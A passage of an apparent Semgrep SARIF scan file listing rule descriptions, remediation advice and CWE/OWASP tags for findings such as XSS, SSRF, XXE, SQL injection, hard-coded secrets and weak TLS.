terraform.azure.security.functionapp.functionapp-authentication-enabled.functionapp-authentication-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.tainted-html-string.tainted-html-string)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates which will safely render HTML instead."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.tainted-html-string.tainted-html-string","id":"javascript.aws-lambda.security.tainted-html-string.tainted-html-string","name":"javascript.aws-lambda.security.tainted-html-string.tainted-html-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.tainted-html-string.tainted-html-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detects creations of $HTTPS servers from option objects that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"help":{"markdown":"Detects creations of $HTTPS servers from option objects that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2)\n - [https://us-cert.cisa.gov/ncas/alerts/TA14-290A](https://us-cert.cisa.gov/ncas/alerts/TA14-290A)\n - [https://stackoverflow.com/questions/40434934/how-to-disable-the-ssl-3-0-and-tls-1-0-in-nodejs](https://stackoverflow.com/questions/40434934/how-to-disable-the-ssl-3-0-and-tls-1-0-in-nodejs)\n - [https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener](https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener)\n","text":"Detects creations of $HTTPS servers from option objects that don't disallow SSL v2, SSL v3, and TLS v1. These protocols are deprecated due to POODLE, man in the middle attacks, and other vulnerabilities."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2","id":"problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2","name":"problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.disallow-old-tls-versions2.disallow-old-tls-versions2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls","id":"java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls","name":"java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.xpath.tainted-xpath-sls.tainted-xpath-sls"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg","id":"java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg","name":"java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.httpclient-taint-concat-msg.httpclient-taint-concat-msg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\",false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\",false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, configuring both of the below also provides protection against XXE attacks. `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\",false)` `praser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring","id":"java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring","name":"java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-saxreader-xxe-spring.tainted-saxreader-xxe-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string","id":"javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string","name":"javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-hardcoded-secret-connection-string.node-sequelize-hardcoded-secret-connection-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings"},"help":{"markdown":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#auth_settings](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#auth_settings)\n","text":"Enabling authentication ensures that all communications in the application are authenticated. The `auth_settings` block needs to be filled out with the appropriate auth backend settings"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled","id":"terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled","name":"terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-authentication-enabled.appservice-authentication-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth","id":"python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth","name":"python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.python-requests-hardcoded-auth.python-requests-hardcoded-auth"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"help":{"markdown":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://fastapi.palletsprojects.com/en/2.3.x/logging/](https://fastapi.palletsprojects.com/en/2.3.x/logging/)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"helpUri":"https://semgrep.dev/r/python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi","id":"python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi","name":"python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi","properties":{"precision":"very-high","tags":["CWE-117: Improper Output Neutralization for Logs","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.log.tainted-log-injection-stdlib-fastapi.tainted-log-injection-stdlib-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret","id":"go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret","name":"go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.mongodb.mongo-hardcoded-secret.mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The object is passed strictly to jwt.encode(...) Make sure that sensitive information is not exposed through JWT token payload."},"help":{"markdown":"The object is passed strictly to jwt.encode(...) Make sure that sensitive information is not exposed through JWT token payload.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The object is passed strictly to jwt.encode(...) Make sure that sensitive information is not exposed through JWT token payload."},"helpUri":"https://semgrep.dev/r/python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data","id":"python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data","name":"python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.audit.jwt-exposed-data.jwt-python-exposed-data"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests","id":"python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests","name":"python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-requests.tainted-django-http-request-requests"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"help":{"markdown":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"helpUri":"https://semgrep.dev/r/python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi","id":"python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi","name":"python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi","properties":{"precision":"very-high","tags":["CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.ai.prompt-injection-fastapi.prompt-injection-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3."},"help":{"markdown":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version","id":"cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version","name":"cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.certificate.curl-insecure-required-version.curl-insecure-required-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a Doctrine DBAL query method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead."},"help":{"markdown":"Detected string concatenation with a non-literal variable in a Doctrine DBAL query method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query)\n - [https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/security.html](https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/security.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n","text":"Detected string concatenation with a non-literal variable in a Doctrine DBAL query method. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead."},"helpUri":"https://semgrep.dev/r/php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query","id":"php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query","name":"php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.doctrine.security.audit.doctrine-dbal-dangerous-query.doctrine-dbal-dangerous-query"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This link points to a plaintext HTTP URL. Prefer an encrypted HTTPS URL if possible."},"help":{"markdown":"This link points to a plaintext HTTP URL. Prefer an encrypted HTTPS URL if possible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/html.security.plaintext-http-link.plaintext-http-link)\n - [https://cwe.mitre.org/data/definitions/319.html](https://cwe.mitre.org/data/definitions/319.html)\n","text":"This link points to a plaintext HTTP URL. Prefer an encrypted HTTPS URL if possible."},"helpUri":"https://semgrep.dev/r/html.security.plaintext-http-link.plaintext-http-link","id":"html.security.plaintext-http-link.plaintext-http-link","name":"html.security.plaintext-http-link.plaintext-http-link","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: html.security.plaintext-http-link.plaintext-http-link"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep 